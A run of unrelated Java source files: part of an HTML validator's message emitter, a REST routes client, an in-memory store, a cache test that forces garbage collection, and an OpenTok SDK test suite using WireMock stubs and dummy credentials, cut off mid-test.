attributesImpl.addAttribute("href", url); xhtmlSaxEmitter.startElement("a", attributesImpl); } xhtmlSaxEmitter.startElement("code"); xhtmlSaxEmitter.characters(elt.getLocalName()); xhtmlSaxEmitter.endElement("code"); if (url != null) { xhtmlSaxEmitter.endElement("a"); } } private void elaborateInputAttributes(XhtmlSaxEmitter xhtmlSaxEmitter, Name elt, Name badAttribute) throws SAXException { attributesImpl.clear(); attributesImpl.addAttribute("class", "inputattrs"); xhtmlSaxEmitter.startElement("dl", attributesImpl); emitElementSpecificAttributesDt(xhtmlSaxEmitter, elt); xhtmlSaxEmitter.startElement("dd"); attributesImpl.clear(); addHyperlink(xhtmlSaxEmitter, "Global attributes", SPEC_LINK_URI + "#global-attributes"); attributesImpl.addAttribute("class", "inputattrtypes"); xhtmlSaxEmitter.startElement("span", attributesImpl); xhtmlSaxEmitter.endElement("span"); xhtmlSaxEmitter.endElement("dd"); for (Map.Entry<String, String[]> entry : validInputTypesByAttributeName.entrySet()) { String attributeName = entry.getKey(); xhtmlSaxEmitter.startElement("dd"); attributesImpl.clear(); attributesImpl.addAttribute("class", "inputattrname"); xhtmlSaxEmitter.startElement("code", attributesImpl); attributesImpl.clear(); attributesImpl.addAttribute("href", SPEC_LINK_URI + entry.getValue()[0]); xhtmlSaxEmitter.startElement("a", attributesImpl); addText(xhtmlSaxEmitter, attributeName); xhtmlSaxEmitter.endElement("a"); xhtmlSaxEmitter.endElement("code"); attributesImpl.addAttribute("class", "inputattrtypes"); if (badAttribute != null && attributeName.equals(badAttribute.getLocalName())) { listInputTypesForAttribute(xhtmlSaxEmitter, attributeName, true); } else { listInputTypesForAttribute(xhtmlSaxEmitter, attributeName, false); } xhtmlSaxEmitter.endElement("dd"); } xhtmlSaxEmitter.endElement("dl"); } private void listInputTypesForAttribute(XhtmlSaxEmitter xhtmlSaxEmitter, String attributeName, boolean bad) throws SAXException { String[] typeNames = validInputTypesByAttributeName.get(attributeName); int typeCount = typeNames.length; String wrapper = (bad ? "b" : "span"); String highlight = (bad ? " highlight" : ""); if (typeCount > 1 || "value".equals(attributeName)) { addText(xhtmlSaxEmitter, " "); AttributesImpl attributesImpl = new AttributesImpl(); attributesImpl.addAttribute("class", "inputattrtypes" + highlight); xhtmlSaxEmitter.startElement(wrapper, attributesImpl); addText(xhtmlSaxEmitter, "when "); xhtmlSaxEmitter.startElement("code"); addText(xhtmlSaxEmitter, "type"); xhtmlSaxEmitter.endElement("code", "code"); addText(xhtmlSaxEmitter, " is "); if ("value".equals(attributeName)) { addText(xhtmlSaxEmitter, "not "); addHyperlink(xhtmlSaxEmitter, "file", SPEC_LINK_URI + fragmentIdByInputType.get("file")); addText(xhtmlSaxEmitter, " or "); addHyperlink(xhtmlSaxEmitter, "image", SPEC_LINK_URI + fragmentIdByInputType.get("image")); } else { for (int i = 1; i < typeCount; i++) { String typeName = typeNames[i]; if (i > 1) { addText(xhtmlSaxEmitter, " "); } if (typeCount > 2 && i == typeCount - 1) { addText(xhtmlSaxEmitter, "or "); } addHyperlink(xhtmlSaxEmitter, typeName, SPEC_LINK_URI + fragmentIdByInputType.get(typeName)); if (i < typeCount - 1 && typeCount > 3) { addText(xhtmlSaxEmitter, ","); } } } xhtmlSaxEmitter.endElement(wrapper); } else { AttributesImpl attributesImpl = new AttributesImpl(); attributesImpl.addAttribute("class", "inputattrtypes"); xhtmlSaxEmitter.startElement("span", attributesImpl); xhtmlSaxEmitter.endElement("span"); } } private void addText(XhtmlSaxEmitter xhtmlSaxEmitter, String text) throws SAXException { char[] ch = text.toCharArray(); xhtmlSaxEmitter.characters(ch, 0, ch.length); } private void addHyperlink(XhtmlSaxEmitter xhtmlSaxEmitter, String text, String href) throws SAXException { AttributesImpl attributesImpl = new AttributesImpl(); attributesImpl.addAttribute("href", href); xhtmlSaxEmitter.startElement("a", attributesImpl); addText(xhtmlSaxEmitter, text); xhtmlSaxEmitter.endElement("a"); } private final class ExactErrorHandler implements ErrorHandler { private final MessageEmitterAdapter owner; /** * @param owner */ ExactErrorHandler(final MessageEmitterAdapter owner) { this.owner = owner; } @Override public void error(SAXParseException exception) throws SAXException { owner.error(exception, true); } @Override public void fatalError(SAXParseException exception) throws SAXException { owner.fatalError(exception, true); } @Override public void warning(SAXParseException exception) throws SAXException { owner.warning(exception, true); } } /** * Returns the exactErrorHandler. * * @return the exactErrorHandler */ public ErrorHandler getExactErrorHandler() { return exactErrorHandler; } /** * Sets the lineOffset. * * @param lineOffset * the lineOffset to set */ public void setLineOffset(int lineOffset) { this.lineOffset = lineOffset; } /** * Sets the spec. * * @param spec * the spec to set */ public void setSpec(Spec spec) { this.spec = spec; } /** * Sets the html. * * @param html * the html to set */ public void setHtml(boolean html) { this.html = html; } public void setLoggingOk(boolean ok) { this.loggingOk = ok; } /** * Sets the errorsOnly. * * @param errorsOnly * the errorsOnly to set */ public void setErrorsOnly(boolean errorsOnly) { this.errorsOnly = errorsOnly; } /** * @throws SAXException * @see nu.validator.messages.MessageEmitter#endMessage() */ public void endMessage() throws SAXException { emitter.endMessage(); } /** * @param type * @param systemId * @param oneBasedFirstLine * @param oneBasedFirstColumn * @param oneBasedLastLine * @param oneBasedLastColumn * @param exact * @throws SAXException * @see nu.validator.messages.MessageEmitter#startMessage(nu.validator.messages.types.MessageType, * java.lang.String, int, int, int, int, boolean) */ public void startMessage(MessageType type, String systemId, int oneBasedFirstLine, int oneBasedFirstColumn, int oneBasedLastLine, int oneBasedLastColumn, boolean exact) throws SAXException { emitter.startMessage(type, systemId, (oneBasedFirstLine == -1) ? -1 : oneBasedFirstLine + lineOffset, oneBasedFirstColumn, (oneBasedLastLine == -1) ? -1 : oneBasedLastLine + lineOffset, oneBasedLastColumn, exact); } }
package com.beta.api.v1; import com.beta.RouteCreationDTO; import com.beta.RouteDTO; import com.beta.RouteUpdatesDTO; import com.google.common.base.Optional; import com.sun.jersey.api.client.Client; import com.sun.jersey.api.client.ClientResponse; import com.sun.jersey.api.client.GenericType; import javax.ws.rs.core.MediaType; import java.util.List; class RoutesClient { private final String url; private final Client c; RoutesClient(String baseURL, Client c) { this.url = baseURL; this.c = c; } List<RouteDTO> getAll() { return c.resource(url + "/api/v1/routes/") .accept(MediaType.APPLICATION_JSON_TYPE) .type(MediaType.APPLICATION_JSON_TYPE) .get(ClientResponse.class) .getEntity(new GenericType<List<RouteDTO>>() { }); } Optional<RouteDTO> findById(int id) { return Optional.fromNullable(c.resource(url + "/api/v1/routes/" + id) .accept(MediaType.APPLICATION_JSON_TYPE) .type(MediaType.APPLICATION_JSON_TYPE) .get(ClientResponse.class) .getEntity(RouteDTO.class)); } RouteDTO add(RouteCreationDTO newRoute) { return c.resource(url + "/api/v1/routes/add") .accept(MediaType.APPLICATION_JSON_TYPE) .type(MediaType.APPLICATION_JSON_TYPE) .post(ClientResponse.class, newRoute) .getEntity(RouteDTO.class); } RouteDTO update(int id, RouteUpdatesDTO updates) { return c.resource(url + "/api/v1/routes/" + id + "/update") .accept(MediaType.APPLICATION_JSON_TYPE) .type(MediaType.APPLICATION_JSON_TYPE) .post(ClientResponse.class, updates) .getEntity(RouteDTO.class); } }
package info.limpet.data.store; import info.limpet.IChangeListener; import info.limpet.ICollection; import info.limpet.IStore; import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class InMemoryStore implements IStore, IChangeListener { List<ICollection> _store = new ArrayList<ICollection>(); private transient List<StoreChangeListener> _listeners = new ArrayList<StoreChangeListener>(); private Object readResolve() { _listeners = new ArrayList<StoreChangeListener>(); return this; } public static interface StoreChangeListener { public void changed(); } public void addChangeListener(StoreChangeListener listener) { _listeners.add(listener); } public void removeChangeListener(StoreChangeListener listener) { _listeners.remove(listener); } protected void fireModified() { Iterator<StoreChangeListener> iter = _listeners.iterator(); while (iter.hasNext()) { InMemoryStore.StoreChangeListener listener = (InMemoryStore.StoreChangeListener) iter .next(); listener.changed(); } } @Override public void addAll(List<ICollection> results) { // add the items individually, so we can register as a listener Iterator<ICollection> iter = results.iterator(); while (iter.hasNext()) { ICollection iCollection = (ICollection) iter.next(); add(iCollection); } fireModified(); } @Override public void add(ICollection results) { _store.add(results); // register as a listener with the results object results.addChangeListener(this); fireModified(); } public int size() { return _store.size(); } @Override public ICollection get(String name) { ICollection res = null; Iterator<ICollection> iter = _store.iterator(); while (iter.hasNext()) { ICollection iCollection = (ICollection) iter.next(); if (name.equals(iCollection.getName())) { res = iCollection; break; } } return res; } public Iterator<ICollection> iterator() { return _store.iterator(); } public void clear() { // stop listening to the collections individually // - defer the clear until the end, // so we don't get concurrent modification Iterator<ICollection> iter = _store.iterator(); while (iter.hasNext()) { ICollection iC = (ICollection) iter.next(); iC.removeChangeListener(this); } _store.clear(); fireModified(); } public void remove(ICollection collection) { _store.remove(collection); // stop listening to this one collection.removeChangeListener(this); fireModified(); } @Override public void dataChanged(ICollection subject) { fireModified(); } @Override public void collectionDeleted(ICollection subject) { } }
package com.jediq.skinnyfe; import java.util.ArrayList; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.not; import static org.hamcrest.collection.IsIterableContainingInAnyOrder.containsInAnyOrder; import static org.hamcrest.core.Is.is; import static org.junit.Assume.assumeThat; import org.junit.Test; public class CacheTest { @Test public void testSimple() { Cache<String, String> cache = new Cache<>(); cache.item("item1", () -> "i1"); cache.item("item2", () -> "i2"); cache.item("item3", () -> "i3"); cache.item("item4", () -> "i4"); cache.item("item5", () -> "i5"); assertThat(cache.itemSet().size(), is(5)); assertThat(cache.itemSet(), containsInAnyOrder("i1", "i2", "i3", "i4", "i5")); cache.clear("item2"); assertThat(cache.itemSet().size(), is(4)); assertThat(cache.itemSet(), containsInAnyOrder("i1", "i3", "i4", "i5")); } @Test public void testForceGarbageCollectionOfCache() { // Don't try to force out of memory for Travis-CI assumeThat(System.getProperty("os.name"), is("Mac OS X")); Cache<String, Object> cache = new Cache<>(100000); Object createdObjectString = cache.item("item1", Object::new).toString(); Object cachedObjectString = cache.item("item1", Object::new).toString(); forceOutOfMemory(); Object newObjectString = cache.item("item1", Object::new).toString(); assertThat(createdObjectString, is(cachedObjectString)); assertThat(createdObjectString, is(not(newObjectString))); } private void forceOutOfMemory() { // Force an OoM try { final ArrayList<Object[]> allocations = new ArrayList<>(); int size; while( (size = Math.min(Math.abs((int) Runtime.getRuntime().freeMemory()), Integer.MAX_VALUE))>0 ) allocations.add( new Object[size] ); } catch( OutOfMemoryError e ) { // great! } } }
package com.opentok.test; import com.github.tomakehurst.wiremock.WireMockServer; import com.github.tomakehurst.wiremock.client.WireMock; import com.github.tomakehurst.wiremock.core.WireMockConfiguration; import com.github.tomakehurst.wiremock.junit.WireMockRule; import com.opentok.*; import com.opentok.Archive.OutputMode; import com.opentok.exception.InvalidArgumentException; import com.opentok.exception.OpenTokException; import com.opentok.exception.RequestException; import org.apache.commons.lang.StringUtils; import org.junit.Before; import org.junit.Rule; import org.junit.Test; import java.io.UnsupportedEncodingException; import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.Proxy; import java.net.UnknownHostException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.security.SignatureException; import java.util.ArrayList; import java.util.Arrays; import java.util.Map; import static com.github.tomakehurst.wiremock.client.WireMock.aResponse; import static com.github.tomakehurst.wiremock.client.WireMock.any; import static com.github.tomakehurst.wiremock.client.WireMock.delete; import static com.github.tomakehurst.wiremock.client.WireMock.deleteRequestedFor; import static com.github.tomakehurst.wiremock.client.WireMock.findAll; import static com.github.tomakehurst.wiremock.client.WireMock.get; import static com.github.tomakehurst.wiremock.client.WireMock.getRequestedFor; import static com.github.tomakehurst.wiremock.client.WireMock.matching; import static com.github.tomakehurst.wiremock.client.WireMock.post; import static com.github.tomakehurst.wiremock.client.WireMock.postRequestedFor; import static com.github.tomakehurst.wiremock.client.WireMock.stubFor; import static com.github.tomakehurst.wiremock.client.WireMock.urlEqualTo; import static com.github.tomakehurst.wiremock.client.WireMock.urlMatching; import static com.github.tomakehurst.wiremock.client.WireMock.verify; import static com.github.tomakehurst.wiremock.client.WireMock.equalTo; import static com.github.tomakehurst.wiremock.client.WireMock.equalToJson; import static org.hamcrest.CoreMatchers.instanceOf; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertThat; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; public class OpenTokTest { private final String SESSION_CREATE = "/session/create"; private int apiKey = 123456; private String archivePath = "/v2/project/" + apiKey + "/archive"; private String apiSecret = "1234567890abcdef1234567890abcdef1234567890"; private String apiUrl = "http://localhost:8080"; private OpenTok sdk; @Rule public WireMockRule wireMockRule = new WireMockRule(8080); @Before public void setUp() throws OpenTokException { // read system properties for integration testing int anApiKey = 0; boolean useMockKey = false; String anApiKeyProp = System.getProperty("apiKey"); String anApiSecret = System.getProperty("apiSecret"); try { anApiKey = Integer.parseInt(anApiKeyProp); } catch (NumberFormatException e) { useMockKey = true; } if (!useMockKey && anApiSecret != null && !anApiSecret.isEmpty()) { // TODO: figure out when to turn mocking off based on this apiKey = anApiKey; apiSecret = anApiSecret; archivePath = "/v2/project/" + apiKey + "/archive"; } sdk = new OpenTok.Builder(apiKey, apiSecret).apiUrl(apiUrl).build(); } @Test public void testSignalAllConnections() throws OpenTokException { String sessionId = "SESSIONID"; Boolean exceptionThrown = false; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/signal"; stubFor(post(urlEqualTo(path)) .willReturn(aResponse() .withStatus(204))); SignalProperties properties = new SignalProperties.Builder().type("test").data("Signal test string").build(); try { sdk.signal(sessionId, properties); verify(postRequestedFor(urlMatching(path))); verify(postRequestedFor(urlMatching(path)) .withHeader("Content-Type", equalTo("application/json"))); verify(postRequestedFor(urlMatching(path)) .withRequestBody(equalToJson("{ \"type\":\"test\",\"data\":\"Signal test string\" }"))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(path))))); Helpers.verifyUserAgent(); } catch (Exception e) { exceptionThrown = true; } assertFalse(exceptionThrown); } @Test public void testSignalWithEmptySessionID() throws OpenTokException { String sessionId = ""; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/signal"; SignalProperties properties = new SignalProperties.Builder().type("test").data("Signal test string").build(); try { sdk.signal(sessionId, properties); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Session string null or empty"); } } @Test public void testSignalWithEmoji() throws OpenTokException { String sessionId = "SESSIONID"; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/signal"; Boolean exceptionThrown = false; SignalProperties properties = new SignalProperties.Builder().type("test").data("\uD83D\uDE01").build(); try { sdk.signal(sessionId, properties); } catch (RequestException e) { exceptionThrown = true; } assertTrue(exceptionThrown); } @Test public void testSignalSingleConnection() throws OpenTokException { String sessionId = "SESSIONID"; String connectionId = "CONNECTIONID"; Boolean exceptionThrown = false; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/connection/" + connectionId +"/signal"; stubFor(post(urlEqualTo(path)) .willReturn(aResponse() .withStatus(204))); SignalProperties properties = new SignalProperties.Builder().type("test").data("Signal test string").build(); try { sdk.signal(sessionId, connectionId, properties); verify(postRequestedFor(urlMatching(path))); verify(postRequestedFor(urlMatching(path)) .withHeader("Content-Type", equalTo("application/json"))); verify(postRequestedFor(urlMatching(path)) .withRequestBody(equalToJson("{ \"type\":\"test\",\"data\":\"Signal test string\" }"))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(path))))); Helpers.verifyUserAgent(); } catch (Exception e) { exceptionThrown = true; } assertFalse(exceptionThrown); } @Test public void testSignalWithEmptyConnectionID() throws OpenTokException { String sessionId = "SESSIONID"; String connectionId = ""; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/connection/" + connectionId +"/signal"; SignalProperties properties = new SignalProperties.Builder().type("test").data("Signal test string").build(); try { sdk.signal(sessionId, connectionId, properties); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Session or Connection string null or empty"); } } @Test public void testSignalWithConnectionIDAndEmptySessionID() throws OpenTokException { String sessionId = ""; String connectionId = "CONNECTIONID"; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/connection/" + connectionId +"/signal"; SignalProperties properties = new SignalProperties.Builder().type("test").data("Signal test string").build(); try { sdk.signal(sessionId, connectionId, properties); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Session or Connection string null or empty"); } } @Test public void testSignalWithEmptySessionAndConnectionID() throws OpenTokException { String sessionId = ""; String connectionId = ""; String path = "/v2/project/" + apiKey + "/session/" + sessionId + "/connection/" + connectionId +"/signal"; SignalProperties properties = new SignalProperties.Builder().type("test").data("Signal test string").build(); try { sdk.signal(sessionId, connectionId, properties); } catch (InvalidArgumentException e) { assertEquals(e.getMessage(),"Session or Connection string null or empty"); } } @Test public void testCreateDefaultSession() throws OpenTokException { String sessionId = "SESSIONID"; stubFor(post(urlEqualTo(SESSION_CREATE)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("[{\"session_id\":\"" + sessionId + "\",\"project_id\":\"00000000\"," + "\"partner_id\":\"123456\"," + "\"create_dt\":\"Mon Mar 17 00:41:31 PDT 2014\"," + "\"media_server_url\":\"\"}]"))); Session session = sdk.createSession(); assertNotNull(session); assertEquals(apiKey, session.getApiKey()); assertEquals(sessionId, session.getSessionId()); assertEquals(MediaMode.RELAYED, session.getProperties().mediaMode()); assertEquals(ArchiveMode.MANUAL, session.getProperties().archiveMode()); assertNull(session.getProperties().getLocation()); verify(postRequestedFor(urlMatching(SESSION_CREATE)) .withRequestBody(matching(".*p2p.preference=enabled.*")) .withRequestBody(matching(".*archiveMode=manual.*"))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(SESSION_CREATE))))); Helpers.verifyUserAgent(); } @Test public void testCreateRoutedSession() throws OpenTokException { String sessionId = "SESSIONID"; stubFor(post(urlEqualTo(SESSION_CREATE)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("[{\"session_id\":\"" + sessionId + "\",\"project_id\":\"00000000\"," + "\"partner_id\":\"123456\"," + "\"create_dt\":\"Mon Mar 17 00:41:31 PDT 2014\"," + "\"media_server_url\":\"\"}]"))); SessionProperties properties = new SessionProperties.Builder() .mediaMode(MediaMode.ROUTED) .build(); Session session = sdk.createSession(properties); assertNotNull(session); assertEquals(apiKey, session.getApiKey()); assertEquals(sessionId, session.getSessionId()); assertEquals(MediaMode.ROUTED, session.getProperties().mediaMode()); assertNull(session.getProperties().getLocation()); verify(postRequestedFor(urlMatching(SESSION_CREATE)) // NOTE: this is a pretty bad way to verify, ideally we can decode the body and then query the object .withRequestBody(matching(".*p2p.preference=disabled.*"))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(SESSION_CREATE))))); Helpers.verifyUserAgent(); } @Test public void testCreateLocationHintSession() throws OpenTokException { String sessionId = "SESSIONID"; String locationHint = "12.34.56.78"; stubFor(post(urlEqualTo(SESSION_CREATE)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("[{\"session_id\":\"" + sessionId + "\",\"project_id\":\"00000000\"," + "\"partner_id\":\"123456\"," + "\"create_dt\":\"Mon Mar 17 00:41:31 PDT 2014\"," + "\"media_server_url\":\"\"}]"))); SessionProperties properties = new SessionProperties.Builder() .location(locationHint) .build(); Session session = sdk.createSession(properties); assertNotNull(session); assertEquals(apiKey, session.getApiKey()); assertEquals(sessionId, session.getSessionId()); assertEquals(MediaMode.RELAYED, session.getProperties().mediaMode()); assertEquals(locationHint, session.getProperties().getLocation()); verify(postRequestedFor(urlMatching(SESSION_CREATE)) // TODO: this is a pretty bad way to verify, ideally we can decode the body and then query the object .withRequestBody(matching(".*location="+locationHint+".*"))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(SESSION_CREATE))))); Helpers.verifyUserAgent(); } @Test public void testCreateAlwaysArchivedSession() throws OpenTokException { String sessionId = "SESSIONID"; String locationHint = "12.34.56.78"; stubFor(post(urlEqualTo(SESSION_CREATE)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("[{\"session_id\":\"" + sessionId + "\",\"project_id\":\"00000000\"," + "\"partner_id\":\"123456\"," + "\"create_dt\":\"Mon Mar 17 00:41:31 PDT 2014\"," + "\"media_server_url\":\"\"}]"))); SessionProperties properties = new SessionProperties.Builder() .archiveMode(ArchiveMode.ALWAYS) .build(); Session session = sdk.createSession(properties); assertNotNull(session); assertEquals(apiKey, session.getApiKey()); assertEquals(sessionId, session.getSessionId()); assertEquals(ArchiveMode.ALWAYS, session.getProperties().archiveMode()); verify(postRequestedFor(urlMatching(SESSION_CREATE)) // TODO: this is a pretty bad way to verify, ideally we can decode the body and then query the object .withRequestBody(matching(".*archiveMode=always.*"))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(postRequestedFor(urlMatching(SESSION_CREATE))))); Helpers.verifyUserAgent(); } @Test(expected = InvalidArgumentException.class) public void testCreateBadSession() throws OpenTokException { SessionProperties properties = new SessionProperties.Builder() .location("NOT A VALID IP") .build(); } // This is not part of the API because it would introduce a backwards incompatible change. // @Test(expected = InvalidArgumentException.class) // public void testCreateInvalidAlwaysArchivedAndRelayedSession() throws OpenTokException { // SessionProperties properties = new SessionProperties.Builder() // .mediaMode(MediaMode.RELAYED) // .archiveMode(ArchiveMode.ALWAYS) // .build(); // TODO: test session creation conditions that result in errors @Test public void testTokenDefault() throws OpenTokException, UnsupportedEncodingException, NoSuchAlgorithmException, SignatureException, InvalidKeyException { int apiKey = 123456; String apiSecret = "1234567890abcdef1234567890abcdef1234567890"; OpenTok opentok = new OpenTok(apiKey, apiSecret); String sessionId = "1_MX4xMjM0NTZ-flNhdCBNYXIgMTUgMTQ6NDI6MjMgUERUIDIwMTR-MC40OTAxMzAyNX4"; String token = opentok.generateToken(sessionId); assertNotNull(token); assertTrue(Helpers.verifyTokenSignature(token, apiSecret)); Map<String, String> tokenData = Helpers.decodeToken(token); assertEquals(Integer.toString(apiKey), tokenData.get("partner_id")); assertNotNull(tokenData.get("create_time")); assertNotNull(tokenData.get("nonce")); } @Test public void testTokenLayoutClass() throws OpenTokException, UnsupportedEncodingException, NoSuchAlgorithmException, SignatureException, InvalidKeyException { int apiKey = 123456; String apiSecret = "1234567890abcdef1234567890abcdef1234567890"; OpenTok opentok = new OpenTok(apiKey, apiSecret); String sessionId = "1_MX4xMjM0NTZ-flNhdCBNYXIgMTUgMTQ6NDI6MjMgUERUIDIwMTR-MC40OTAxMzAyNX4"; String token = sdk.generateToken(sessionId, new TokenOptions.Builder() .initialLayoutClassList(Arrays.asList("full", "focus")) .build()); assertNotNull(token); assertTrue(Helpers.verifyTokenSignature(token, apiSecret)); Map<String, String> tokenData = Helpers.decodeToken(token); assertEquals("full focus", tokenData.get("initial_layout_class_list")); } @Test public void testTokenRoles() throws OpenTokException, UnsupportedEncodingException, NoSuchAlgorithmException, SignatureException, InvalidKeyException { int apiKey = 123456; String apiSecret = "1234567890abcdef1234567890abcdef1234567890"; OpenTok opentok = new OpenTok(apiKey, apiSecret); String sessionId = "1_MX4xMjM0NTZ-flNhdCBNYXIgMTUgMTQ6NDI6MjMgUERUIDIwMTR-MC40OTAxMzAyNX4"; Role role = Role.SUBSCRIBER; String defaultToken = opentok.generateToken(sessionId); String roleToken = sdk.generateToken(sessionId, new TokenOptions.Builder() .role(role) .build()); assertNotNull(defaultToken); assertNotNull(roleToken); assertTrue(Helpers.verifyTokenSignature(defaultToken, apiSecret)); assertTrue(Helpers.verifyTokenSignature(roleToken, apiSecret)); Map<String, String> defaultTokenData = Helpers.decodeToken(defaultToken); assertEquals("publisher", defaultTokenData.get("role")); Map<String, String> roleTokenData = Helpers.decodeToken(roleToken); assertEquals(role.toString(), roleTokenData.get("role")); } @Test public void testTokenExpireTime() throws OpenTokException, SignatureException, NoSuchAlgorithmException, InvalidKeyException, UnsupportedEncodingException { int apiKey = 123456; String apiSecret = "1234567890abcdef1234567890abcdef1234567890"; String sessionId = "1_MX4xMjM0NTZ-flNhdCBNYXIgMTUgMTQ6NDI6MjMgUERUIDIwMTR-MC40OTAxMzAyNX4"; OpenTok opentok = new OpenTok(apiKey, apiSecret); long now = System.currentTimeMillis() / 1000L; long inOneHour = now + (60 * 60); long inOneDay = now + (60 * 60 * 24); long inThirtyDays = now + (60 * 60 * 24 * 30); ArrayList<Exception> exceptions = new ArrayList<Exception>(); String defaultToken = opentok.generateToken(sessionId); String oneHourToken = opentok.generateToken(sessionId, new TokenOptions.Builder() .expireTime(inOneHour) .build()); try { String earlyExpireTimeToken = opentok.generateToken(sessionId, new TokenOptions.Builder() .expireTime(now - 10) .build()); } catch (Exception exception) { exceptions.add(exception); } try { String lateExpireTimeToken = opentok.generateToken(sessionId, new TokenOptions.Builder() .expireTime(inThirtyDays + (60 * 60 * 24) /* 31 days */) .build()); } catch (Exception exception) { exceptions.add(exception); } assertNotNull(defaultToken); assertNotNull(oneHourToken); assertTrue(Helpers.verifyTokenSignature(defaultToken, apiSecret)); assertTrue(Helpers.verifyTokenSignature(oneHourToken, apiSecret)); Map<String, String> defaultTokenData = Helpers.decodeToken(defaultToken); assertEquals(Long.toString(inOneDay), defaultTokenData.get("expire_time")); Map<String, String> oneHourTokenData = Helpers.decodeToken(oneHourToken); assertEquals(Long.toString(inOneHour), oneHourTokenData.get("expire_time")); assertEquals(2, exceptions.size()); for (Exception e : exceptions) { assertEquals(InvalidArgumentException.class, e.getClass()); } } @Test public void testTokenConnectionData() throws OpenTokException, SignatureException, NoSuchAlgorithmException, InvalidKeyException, UnsupportedEncodingException { int apiKey = 123456; String apiSecret = "1234567890abcdef1234567890abcdef1234567890"; String sessionId = "1_MX4xMjM0NTZ-flNhdCBNYXIgMTUgMTQ6NDI6MjMgUERUIDIwMTR-MC40OTAxMzAyNX4"; OpenTok opentok = new OpenTok(apiKey, apiSecret); // purposely contains some exotic characters String actualData = "{\"name\":\"%foo ç &\"}"; Exception tooLongException = null; String defaultToken = opentok.generateToken(sessionId); String dataBearingToken = opentok.generateToken(sessionId, new TokenOptions.Builder() .data(actualData) .build()); try { String dataTooLongToken = opentok.generateToken(sessionId, new TokenOptions.Builder() .data(StringUtils.repeat("x", 1001)) .build()); } catch (InvalidArgumentException e) { tooLongException = e; } assertNotNull(defaultToken); assertNotNull(dataBearingToken); assertTrue(Helpers.verifyTokenSignature(defaultToken, apiSecret)); assertTrue(Helpers.verifyTokenSignature(dataBearingToken, apiSecret)); Map<String, String> defaultTokenData = Helpers.decodeToken(defaultToken); assertNull(defaultTokenData.get("connection_data")); Map<String, String> dataBearingTokenData = Helpers.decodeToken(dataBearingToken); assertEquals(actualData, dataBearingTokenData.get("connection_data")); assertEquals(InvalidArgumentException.class, tooLongException.getClass()); } @Test public void testTokenBadSessionId() throws OpenTokException { int apiKey = 123456; String apiSecret = "1234567890abcdef1234567890abcdef1234567890"; OpenTok opentok = new OpenTok(apiKey, apiSecret); ArrayList<Exception> exceptions = new ArrayList<Exception>(); try { String nullSessionToken = opentok.generateToken(null); } catch (Exception e) { exceptions.add(e); } try { String emptySessionToken = opentok.generateToken(""); } catch (Exception e) { exceptions.add(e); } try { String invalidSessionToken = opentok.generateToken("NOT A VALID SESSION ID"); } catch (Exception e) { exceptions.add(e); } assertEquals(3, exceptions.size()); for (Exception e : exceptions) { assertEquals(InvalidArgumentException.class, e.getClass()); } } @Test public void testGetArchive() throws OpenTokException { String archiveId = "ARCHIVEID"; stubFor(get(urlEqualTo(archivePath + "/" + archiveId)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"createdAt\" : 1395187836000,\n" + " \"duration\" : 62,\n" + " \"id\" : \"" + archiveId + "\",\n" + " \"name\" : \"\",\n" + " \"partnerId\" : 123456,\n" + " \"reason\" : \"\",\n" + " \"sessionId\" : \"SESSIONID\",\n" + " \"size\" : 8347554,\n" + " \"status\" : \"available\",\n" + " \"url\" : \"http://tokbox.com.archive2.s3.amazonaws.com/123456%2F" + archiveId + "%2Farchive.mp4?Expires=1395194362&AWSAccessKeyId=AKIAI6LQCPIXYVWCQV6Q&Si" + "gnature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n" + " }"))); Archive archive = sdk.getArchive(archiveId); assertNotNull(archive); assertEquals(apiKey, archive.getPartnerId()); assertEquals(archiveId, archive.getId()); assertEquals(1395187836000L, archive.getCreatedAt()); assertEquals(62, archive.getDuration()); assertEquals("", archive.getName()); assertEquals("SESSIONID", archive.getSessionId()); assertEquals(8347554, archive.getSize()); assertEquals(Archive.Status.AVAILABLE, archive.getStatus()); assertEquals("http://tokbox.com.archive2.s3.amazonaws.com/123456%2F"+archiveId +"%2Farchive.mp4?Expires=13951" + "94362&AWSAccessKeyId=AKIAI6LQCPIXYVWCQV6Q&Signature=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", archive.getUrl()); verify(getRequestedFor(urlMatching(archivePath + "/" + archiveId))); assertTrue(Helpers.verifyTokenAuth(apiKey, apiSecret, findAll(getRequestedFor(urlMatching(archivePath + "/" + archiveId))))); Helpers.verifyUserAgent(); } // TODO: test get archive failure scenarios @Test public void testListArchives() throws OpenTokException { stubFor(get(urlEqualTo(archivePath)) .willReturn(aResponse() .withStatus(200) .withHeader("Content-Type", "application/json") .withBody("{\n" + " \"count\" : 60,\n" + " \"items\" : [ {\n" + " \"createdAt\" : 1395187930000,\n" + " \"duration\" : 